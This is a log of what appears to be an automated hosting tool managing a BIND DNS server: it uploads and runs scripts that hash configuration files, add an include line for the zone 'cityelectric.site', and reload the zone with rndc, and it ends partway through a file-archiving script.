MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 74618525f3c0ba81ceb567ef7724dba7
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-08-26 15:00:21: Establishing a connection
2025-08-26 15:00:21: Establishing a connection
2025-08-26 15:00:21: 

PUT: /tmp/pkp318329

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-08-26 15:00:21: 

runuser -l bind -s /bin/bash -c '/tmp/pkp318329; rm /tmp/pkp318329'

2025-08-26 15:00:21: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 74618525f3c0ba81ceb567ef7724dba7
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-08-26 15:00:21: 

PUT: /tmp/pkp176291

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2025-08-26 15:00:21: 

chmod 755 /tmp/pkp176291; /tmp/pkp176291; rm /tmp/pkp176291

2025-08-26 15:00:24: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2025-08-26 15:00:24: 

PUT: /tmp/pkp388490

#!/bin/bash
rndc reload cityelectric.site 2>&1


2025-08-26 15:00:24: 

chmod 755 /tmp/pkp388490; /tmp/pkp388490; rm /tmp/pkp388490

2025-08-26 15:00:24: 


zone reload up-to-date


2025-08-26 15:00:25: Establishing a connection
2025-08-26 15:00:25: 

PUT: /tmp/pkp785641

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-08-26 15:00:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp785641; rm /tmp/pkp785641'

2025-08-26 15:00:25: 
2025-08-26 15:00:25: 

PUT: /tmp/pkp463333

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
